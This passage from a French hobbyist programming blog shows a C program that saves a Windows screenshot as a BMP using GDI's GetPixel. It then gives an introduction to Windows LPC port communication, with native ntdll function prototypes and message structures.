A noter que je n'ai pas mis le champ "mot magique" dans la structure, car celui-ci fait 2 octets, et si on le rajoute, la structure ne sera plus alignée sur 4 octets. C'est plutôt gênant quand on veut écrire/lire une structure en un coup. De plus, la mot magique est toujours égal à 'BM', soit 0x4244.
Enfin, on passe à la partie la plus intéressante : les fonctions fournies par l'API Win32 pour faire joujou.
Tout d'abord, il faut récupérer la résolution de l'écran. C'est faisable via la fonction GetSystemMetrics() : http://msdn.microsoft.com/en-us/library/ms724385%28VS.85%29.aspx.
Ces fonctions retournent respectivement la longueur et la largeur de l'écran :
GetSystemMetrics(SM_CXSCREEN);
GetSystemMetrics(SM_CYSCREEN);
Ensuite, on a besoin d'avoir un "handle" sur la totalité de la surface de l'écran. Pour cela, on utilise la fonction GetDC() ("Get Device Context") : http://msdn.microsoft.com/en-us/library/dd144871%28VS.85%29.aspx. Si l'argument de la fonction est égal à NULL, le handle retourné concerne la fenêtre entière. Si on fourni, par contre, un argument handle de type "HWND", on aura un "handle" sur une fenêtre.
Avec cet handle sur l'écran, on peut utiliser la fonction magique GetPixel() fournie par la bibliothèque GDI32. GetPixel() : http://msdn.microsoft.com/en-us/library/dd144909%28VS.85%29.aspx.
Cette fonction, comme vous pouvez le voir, utilise trois arguments :
- le premier est le handle de notre "device context" ;
- le second correspond à l'abscisse du pixel ;
- le troisième correspond à son ordonnée.
Avec cette fonction, on va donc pouvoir lire chaque pixel à l'écran. Effectivement, on fera une double boucle for pour balayer chaque ligne et récupérer chaque valeur de pixel. Par ailleurs, GetPixel() retourne la valeur "RVB" du pixel. Et dans un fichier bitmap, un pixel est écrit sur trois octets : le premier correspond au taux de bleu, le second au taux de vert et le dernier au taux de rouge.
On peut donc imaginer une structure tenant sur trois octets :
char bBlue, bGreen, bRed;
} PIXEL, *PPIXEL;
Enfin, pour ma part, j'ai enregistré les pixels "à la volée" dans le fichier, et j'ai utilisé la bibliothèque standard du C pour ouvrir mon bitmap et y déposer les pixels.
Pour résumer, voici le code que je suis parvenu à élaborer :
#include <stdio.h>
size_t GetSizeFromDim(int x, int y);
typedef struct {
DWORD dwSize;
WORD wRes1;
WORD wRes2;
DWORD dwOffset;
DWORD dwHeaderSize;
DWORD dwWidth;
DWORD dwHeight;
WORD wFoo;
WORD wBitsPerPixels;
DWORD dwCompressed;
DWORD dwBytesPerPixels;
DWORD dwBitsPerMetterOnWidth;
DWORD dwBitsPerMetterOnHeigt;
DWORD dwNumberOfColors;
DWORD dwImportantColors;
} BMPHDR, *PBMPHDR;
typedef struct {
char bBlue, bGreen, bRed;
} PIXEL, *PPIXEL;
int main(int argc, char **argv) {
BMPHDR Hdr;
Hdr.dwSize = GetSizeFromDim(GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN));
Hdr.wRes1 = 0x0000;
Hdr.wRes2 = 0x0000;
Hdr.dwOffset = 0x00000036;
Hdr.dwHeaderSize = 0x00000028;
Hdr.dwWidth = (DWORD)GetSystemMetrics(SM_CXSCREEN);
Hdr.dwHeight = (DWORD)GetSystemMetrics(SM_CYSCREEN);
Hdr.wFoo = 0x0001;
Hdr.wBitsPerPixels = 0x0018;
Hdr.dwCompressed = 0;
Hdr.dwBytesPerPixels = 0x00000004;
Hdr.dwBitsPerMetterOnWidth = 0;
Hdr.dwBitsPerMetterOnHeigt = 0;
Hdr.dwNumberOfColors = 0;
Hdr.dwImportantColors = 0;
WORD Sign = 0x4d42;
// Fichier de sortie
FILE *fout = fopen("foo.bmp","wb");
fwrite(&Sign, sizeof(WORD), 1, fout);
fwrite(&Hdr, sizeof(BMPHDR), 1, fout);
// Récupération du handle de l'écran
HDC ecran = GetDC(NULL);
// Lecture des pixels et enregistrement !
COLORREF Color;
PIXEL Pixel;
int i, j, k;
char bourrage = 0;
for(j = Hdr.dwHeight - 1; j >= 0; j--) {
// Un bmp part du bas, donc on lira les pixels à partir du bas
for(i = 0; i < Hdr.dwWidth; i++) {
Color = GetPixel(ecran, i, j);
Pixel.bBlue = GetBValue(Color);
Pixel.bGreen = GetGValue(Color);
Pixel.bRed = GetRValue(Color);
// Ecriture du pixel
fwrite(&Pixel, sizeof(PIXEL), 1, fout);
}
// On bourre
for(k = 0; k < (i % 4); k++)
fwrite(&bourrage, sizeof(char), 1, fout);
}
fclose(fout);
return 0;
}
size_t GetSizeFromDim(int x, int y) {
return sizeof(BMPHDR) + ((x*3 + (x%4))*y);
}
Vous trouverez la source propre et colorée à cette adresse : http://venom630.free.fr/geo/tools/GetSystemMetric_c.html.
Conclusion
J'avoue avoir été pressé dans mes explications. Mais je me suis dit que ça pouvait en intéresser plus de savoir comment pouvait fonctionner la capture d'écran sous Windows. Après, j'ignore si le code marche sous Vista ou s'il est véritablement portable. Mais une fois que vous comprenez l'algorithme, vous pouvez aisément faire votre propre code valide.
J'oubliais de préciser : pendant la compilation, n'oubliez pas de lier la lib gdi, sinon le compilateur vous dira qu'il ne trouve aucune référence à GetPixel() lors de l'édition de lien.
A la revoyure !
Geo
samedi 29 août 2009
Introduction aux messages LPC (windows)
Pendant ces vacances, j'ai eu l'occasion de me pencher sur les messages LPC - Local Procedure Call. Ça a commencé quand je me suis remis en tête de comprendre le fonctionnement de la fonction printf(). Vous vous souvenez ?
J'ai donc recommencé ce parcours. Voici ce dont je suis sûr pour le moment : printf() fais appel à la fonction standard write(), qui elle va appeler WriteFile(). Cette dernière écrit dans le flux stdout. Et à ma grande surprise - pas seulement à la mienne, en tout cas - WriteFile ne va pas faire appel à NtWriteFile() (qui est une fonction native) mais à WriteConsole() - on reste toujours dans l'api win32) et cette fameuse WriteConsole() ne fais pas non plus appel à NtWriteFile... mais à ZwRequestWaitReplyPort().
Un nom qui fait peur, non ?
J'ai donc mené des recherches, et j'ai appris que cette fonction faisait partie d'un jeu de fonctions qui assurait la communication "souterraine" entre processus/threads.
La communication LPC peut permettre de communiquer de l'userland au kerneland, et assure une rapide transmission de données. Tout se situe au niveau du noyau, puisqu'on utilise des api natives (celles qui font mettre un "syscall" dans le registre eax avant d'appeler KiFastSystemCallRet et donc faire un "sysenter").
Cet article va donc parler des messages LPC.
Comment ça se passe ?
Pour communiquer, nous avons besoin d'un client et d'un serveur. Le serveur va créer un port accessible en local uniquement. Il ne faut pas confondre avec les sockets. Les ports doivent toujours avoir un nom de la forme \NomDuPort. L'anti-slash est important.
Après, pour ceux qui connaissent les sockets, c'est un peu le même schéma. On se met en écoute sur le port créé et on attend que ça se passe. J'ai pas vraiment creusé le tout, mais il me semble évident qu'il doive exister certains ports fournissant des services windows.
Les fonctions permettant d'implémenter les messages LPC sont exportées par la ténébreuse ntdll. J'ai trouvé les prototypes ici : http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Port/NtCreatePort.html.
Cependant, il s'avère que certains prototypes ne soient pas forcément exacts ; en effet, j'ai eu à utiliser des structures différentes au fur et à mesure que mes recherches devenaient fructueuses.
Côté serveur
Pour créer un port, on utilise NtCreatePort() :
NTSTATUS
NTAPI
NtCreatePort(
OUT PHANDLE PortHandle,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG MaxConnectInfoLength,
IN ULONG MaxDataLength,
IN OUT PULONG Reserved OPTIONAL );
La fonction prend en argument un HANDLE qu'elle va initialiser. Ce handle va nous servir par la suite (logique). Pour le reste des arguments, ils sont à peu près compréhensibles, ben que l'argument ObjectAttributes me paraisse encore flou (je ne m'y suis pas penché, à vrai dire). Je ne connais pas encore la véritable fonction de la structure OBJECT_ATTRIBUTES. Ce n'est, à vrai dire, pas la seule qui me paraît floue. Mais ça ne m'a pas empêché d'émuler une communication client/serveur.
Bref, continuons : MaxDataLength est un argument qui correspond au maximum d'octets transférables sur le port. Pour le reste, on s'en tamponne le coquillage (pour le moment, hein !).
Après avoir créé notre port, il faut se mettre en écoute dessus via NtListenPort(). Cette fonction est bloquante et attend qu'une connexion se fasse de la part du client (nous verrons quelles fonctions il utilise).
Prototype de NtListenPort :
NTSTATUS
NTAPI
NtListenPort(
IN HANDLE PortHandle,
OUT PLPC_MESSAGE ConnectionRequest );
Le handle attendu est celui qui a été traité, au préalable, par notre fonction NtCreatePort. Enfin, l'argument ConnectionRequest n'est pas une structure LPC_MESSAGE, mais plutôt une structure PORT_MESSAGE. Cet argument représente une en-tête de message LPC qui sera initialisée par le serveur.
La fonction bloque jusqu'à la connexion d'un client. Ensuite, lorsqu'un client demande à se connecter, il faut accepter la connexion via NtAcceptConnectPort().
Prototype :
NTSTATUS
NTAPI
NtAcceptConnectPort(
OUT PHANDLE ServerPortHandle,
IN HANDLE AlternativeReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE ConnectionReply,
IN BOOLEAN AcceptConnection,
IN OUT PLPC_SECTION_OWNER_MEMORY ServerSharedMemory OPTIONAL,
OUT PLPC_SECTION_MEMORY ClientSharedMemory OPTIONAL );
Le premier argument correspond au handle du serveur que va créer la fonction. Ce handle sera différent de celui créé par le port, bien entendu. Ceux qui sont marqués en OPTIONAL, on s'en moque pas mal pour l'instant. Ceux qui sont intéressants sont ConnectionReply et AcceptConnection.
L'argument ConnectionReply - qui est une structure PORT_MESSAGE au lieu de LPC_MESSAGE (je marquerai dès à présent "PPORT_MESSAGE", donc...) - correspond à la structure qu'on a envoyée à NtListenPort(), également en tant que PORT_MESSAGE. Quant au booléen AcceptConnection, il indique simplement et clairement si on doit accepter la connexion côté client ou non (mais j'avoue ne pas trop savoir pourquoi un tel argument ; je me suis mal renseigné, une fois de plus).
La connexion est acceptée. Il faut la "finaliser" via NtCompleteConnectPort. C'est comme si le serveur dit au client : "Ok, tout est en règle, on peut commencer à bosser ensemble".
Prototype :
NTSYSAPI
NTSTATUS
NTAPI
NtCompleteConnectPort(
IN HANDLE PortHandle );
La fonction attend, en argument, l'handle du serveur. Tout simplement.
Le serveur peut enfin attendre de recevoir des données. Il va recevoir, respectivement, les en-têtes du message, une commande assignée par le client et le corps du message.
Voici la structure d'un message transféré entre clients et serveurs LPC :
{
PORT_MESSAGE Header; // En-tête
WCHAR MessageText[48]; // Le message lui-même
} TRANSFERRED_MESSAGE, *PTRANSFERRED_MESSAGE;
Bien qu'on ne demande qu'en argument PORT_MESSAGE, les fonctions pourront tout de même écrire dans le champ MessageText puisqu'il suit. Inutile de préciser qu'ils respectent l'alignement des structures (taille alignée sur un multiple de 4).
J'ai trouvé cette structure dans un code relatif à un article que je mettrai en référence à la fin du blog.
Voici la structure PORT_MESSAGE :
{
union
{
struct
{
USHORT DataLength; // Length of data following the header (bytes)
USHORT TotalLength; // Length of data + sizeof(PORT_MESSAGE)
} s1;
ULONG Length;
} u1;
union
{
struct
{
USHORT Type;
USHORT DataInfoOffset;
} s2;
ULONG ZeroInit;
} u2;
union
{
CLIENT_ID ClientId;
double DoNotUseThisField; // Force quadword alignment
};
ULONG MessageId; // Identifier of the particular message instance
union
{
ULONG_PTR ClientViewSize; // Size of section created by the sender (in bytes)
ULONG CallbackId; //
};
} PORT_MESSAGE, *PPORT_MESSAGE;
On remarque que le champ DataLength va permettre aux fonctions de chercher les données après le header.
Voici la fonction native qui va permettre la réception des données sur le port : NtReplyWaitReceivePort() :
NTSTATUS
NTAPI
NtReplyWaitReceivePort(
IN HANDLE PortHandle,
OUT PHANDLE ReceivePortHandle OPTIONAL,
IN PLPC_MESSAGE Reply OPTIONAL,
OUT PLPC_MESSAGE IncomingRequest );
Les arguments marqués en OPTIONAL, comme d'habitude, on s'en moque. On voit, une fois de plus, que la fonction attend le handle du serveur en argument premier. Le dernier argument correspondra au message LPC qu'elle aura récupéré en kerneland ; celui envoyé par le noyau.
Lorsque le serveur en a fini avec le client, il doit fermer le handle du serveur sans détruire le handle retourné par NtCreatePort. Pour cela, il a recourt à la fonction suivante : NtClose() :
HANDLE Handle
);
La fonction attend simplement un handle à fermer. On soumettra le handle du serveur à fermer.
Côté Client
Un client, ça se connecte (sans déconner ?). On va utiliser la fonction NtConnectPort() pour se connecter. Son prototype est assez chargé, puisqu'il faut encore s'occuper des "security descriptor" et tout le bordel.
Prototype :
NTSTATUS
NTAPI
NtConnectPort(
OUT PHANDLE ClientPortHandle,
IN PUNICODE_STRING ServerPortName,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
IN OUT PLPC_SECTION_OWNER_MEMORY ClientSharedMemory OPTIONAL,
OUT PLPC_SECTION_MEMORY ServerSharedMemory OPTIONAL,
OUT PULONG MaximumMessageLength OPTIONAL,
IN ConnectionInfo OPTIONAL,
IN PULONG ConnectionInfoLength OPTIONAL );
On oublie les arguments optionnels. Le premier argument correspond au handle qui sera créé par la fonction. Le second argument correspond au nom du port auquel se connecter (doit être le même que celui créé par le serveur, logiquement). L'argument MaximumMessageLength correspond à la taille maximale que le serveur aura fixé. Pour le reste, j'évite de détailler, de peur de dire de la mouise.
Pour envoyer des données, le client utilisera NtRequestPort() :
NTSTATUS
NTAPI
NtRequestPort(
IN HANDLE PortHandle,
IN PPORT_MESSAGE Request );
Pareil, on attend un handle et une en-tête LPC.
Remarquez, il peut aussi utiliser NtRequestWaitReplyPort() (comme printf, sauf qu'elle se sert de celle en Zw*) :
NTSTATUS
NTAPI
NtRequestWaitReplyPort(
IN HANDLE PortHandle,
IN PLPC_MESSAGE Request,
OUT PLPC_MESSAGE IncomingReply );
L'argument supplémentaire contiendra la réponse du serveur.
On code
Pourquoi ne pas passer à la pratique, après un brin de théorie ? Certes, je ne vais pas vous apprendre à faire de "privilege escalation" (j'ai lu qu'on pouvait faire ça via les messages LPC). J'ai déjà assez bataillé pour faire marcher mes codes.
L'affichage du blog étant pourri, je me résignerai à mettre des urls pour que vous puissiez accéder aux sources. Tout est disponible ici.
Conclusion
Le domaine des messages LPC est très vaste ; un domaine que je ne maîtrise pas mais qui m'intéresse, ce pourquoi j'en parle.
Je remercie Ivanlef0u pour avoir usé de son temps afin de me sauver la mise ; sans lui, rien de tout cela ne fonctionnerait. Merci également à 0vercl0k (je le cite au moins une fois par article, c'est fou) pour m'avoir boosté.
Références :
- http://www.zezula.net/en/prog/lpc.html : communications LCP ;
- Local Procedure Call - Wikipédia
A très bientôt.
Geo